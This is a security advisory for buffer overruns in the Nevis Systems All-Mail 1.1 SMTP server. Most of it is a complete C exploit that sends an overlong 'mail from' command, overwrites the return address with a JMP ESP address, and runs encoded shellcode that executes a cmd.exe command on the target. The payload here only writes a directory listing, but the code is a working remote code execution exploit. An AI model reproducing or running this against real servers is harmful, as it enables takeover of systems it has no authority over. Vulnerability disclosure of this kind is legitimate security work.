COMMAND
All-Mail
SYSTEMS AFFECTED
Nevis Systems All-Mail 1.1
PROBLEM
Following is based on a @stake Advisory A101200-2 by David
Litchfield. Nevis System's All-Mail is a personal and small
office mail server written for the Windows platform. There are
various buffer overrun vulnerabilities in this server that can
allow a remote attacker to gain complete control of the server's
execution and execute arbitrary computer code.
There are a several methods that can be used to overflow various
static buffers in the SMTP component of the server for examples
having an overly long "mail from" or "rcpt to" command.
The following code will connect to TCP port 25 on the remote
system and then cause the overflow. The code executed here simply
spawns a shell, performs a directory listing and pipes the output
to a file called "allmail_orun.txt" on the target system. This
will allow users to check if their mail server is vulnerable by
testing for the file.
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256]="";
int main(int argc, char *argv[])
{
int chk=0,count=0;
char buffer[500]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111222233334444555566667777888899990000aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyy";
if(argc == 1)
{
printf("\n\tUsage: C:\\>%s host\n\tTests for
All-Mail buffer overflow\n\tDavid Litchfield 10th October
2000\n\n",argv[0]);
return 0;
}
strncpy(hostname,argv[1],250);
// Overwrite the saved return address with 0x77F32836
// This address contains a JMP ESP instruction that
// when executed will land us back in our buffer
buffer[242]=0x36;
buffer[243]=0x28;
buffer[244]=0xF3;
buffer[245]=0x77;
count = 246;
// This part of the buffer gets zapped - just put NOPs in
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
buffer[count++]=0x90;
// This is where our code starts in earnest
// mov esp,ebp
buffer[count++]=0x8B;
buffer[count++]=0xEC;
// With our stack perserved and our code safe we continue
// mov ebx,esp
buffer[count++]=0x8B;
buffer[count++]=0xDC;
// mov eax,77F1A986h
buffer[count++]=0xB8;
buffer[count++]=0x86;
buffer[count++]=0xA9;
buffer[count++]=0xF1;
buffer[count++]=0x77;
// xor esi,esi
buffer[count++]=0x33;
buffer[count++]=0xF6;
// push esi
buffer[count++]=0x56;
// mov ecx, 0xFFFFFFFF
buffer[count++]=0xB9;
buffer[count++]=0xFF;
buffer[count++]=0xFF;
buffer[count++]=0xFF;
buffer[count++]=0xFF;
// sub ecx, 0x0D7
buffer[count++]=0x83;
buffer[count++]=0xE9;
buffer[count++]=0xD7;
// loophere:
// sub dword ptr[ebx+0x50],1
buffer[count++]=0x83;
buffer[count++]=0x6B;
buffer[count++]=0x50;
buffer[count++]=0x01;
// sub ebx,1
buffer[count++]=0x83;
buffer[count++]=0xEB;
buffer[count++]=0x01;
// sub ecx,1
buffer[count++]=0x83;
buffer[count++]=0xE9;
buffer[count++]=0x01;
// test ecx,ecx
buffer[count++]=0x85;
buffer[count++]=0xC9;
// jne loophere
buffer[count++]=0x75;
buffer[count++]=0xF2;
// add ebx,0x55
buffer[count++]=0x83;
buffer[count++]=0xC3;
buffer[count++]=0x55;
// push ebx
buffer[count++]=0x53;
// call eax
buffer[count++]=0xFF;
buffer[count++]=0xD0;
// This bunch is our command to run:
// cmd.exe /c dir > allmail_orun.txt
// but with 1 added to evey character
// which is SUBed in the loop above
buffer[count++]=0x01;
buffer[count++]=0x01;
buffer[count++]=0x01;
buffer[count++]=0x01;
buffer[count++]=0x64;
buffer[count++]=0x6e;
buffer[count++]=0x65;
buffer[count++]=0x2f;
buffer[count++]=0x66;
buffer[count++]=0x79;
buffer[count++]=0x66;
buffer[count++]=0x21;
buffer[count++]=0x30;
buffer[count++]=0x64;
buffer[count++]=0x21;
buffer[count++]=0x65;
buffer[count++]=0x6a;
buffer[count++]=0x73;
buffer[count++]=0x21;
buffer[count++]=0x3f;
buffer[count++]=0x21;
buffer[count++]=0x62;
buffer[count++]=0x6d;
buffer[count++]=0x6d;
buffer[count++]=0x6e;
buffer[count++]=0x62;
buffer[count++]=0x6a;
buffer[count++]=0x6d;
buffer[count++]=0x60;
buffer[count++]=0x70;
buffer[count++]=0x73;
buffer[count++]=0x76;
buffer[count++]=0x6f;
buffer[count++]=0x2f;
buffer[count++]=0x75;
buffer[count++]=0x79;
buffer[count++]=0x75;
buffer[count++]=0x01;
buffer[count++]=0x01;
buffer[count++]=0x01;
if(startWSOCK(hostname)!=0)
{
printf("Winsock Error!\n");
return 0;
}
DoBufferOverrun(buffer);
return 0;
}
int startWSOCK(char *swhost)
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 2;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup( );
return 3;
}
if ((he = gethostbyname(swhost)) == NULL)
{
printf("Host not found..");
return 4;
}
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
return 0;
}
int DoBufferOverrun(char *exploit)
{
int snd, rcv, err, count =0,incount = 0;
char resp[200],*loc=NULL;
sa.sin_port=htons(25);
sock=socket(AF_INET,SOCK_STREAM,0);
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
if (sock==INVALID_SOCKET)
{
closesocket(sock);
return 0;
}
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
closesocket(sock);
printf("Failed to connect\n");
return 0;
}
else
{
rcv = recv(sock,resp,200,0);
snd = send(sock,"helo all-mail.overrun.test\r\n",28,0);
rcv = recv(sock,resp,200,0);
loc = strstr(resp,"250 HELO accepted");
if(loc == NULL)
{
printf("Server does not appear to be running All-Mail\nAborting...");
closesocket(sock);
return 0;
}
else
{
snd = send(sock,"mail from: <",12,0);
snd = send(sock,exploit,strlen(exploit),0);
snd = send(sock,">\r\n",3,0);
printf("Payload sent...allmail_orun.txt should have been created.\n");
}
}
closesocket(sock);
return 0;
}
SOLUTION
When informed of these issues the vendor has decided not to
support this product any longer and have stated they will inform
their customers of what they should do.
Switch to another mail server as there will not be a fixed version
available.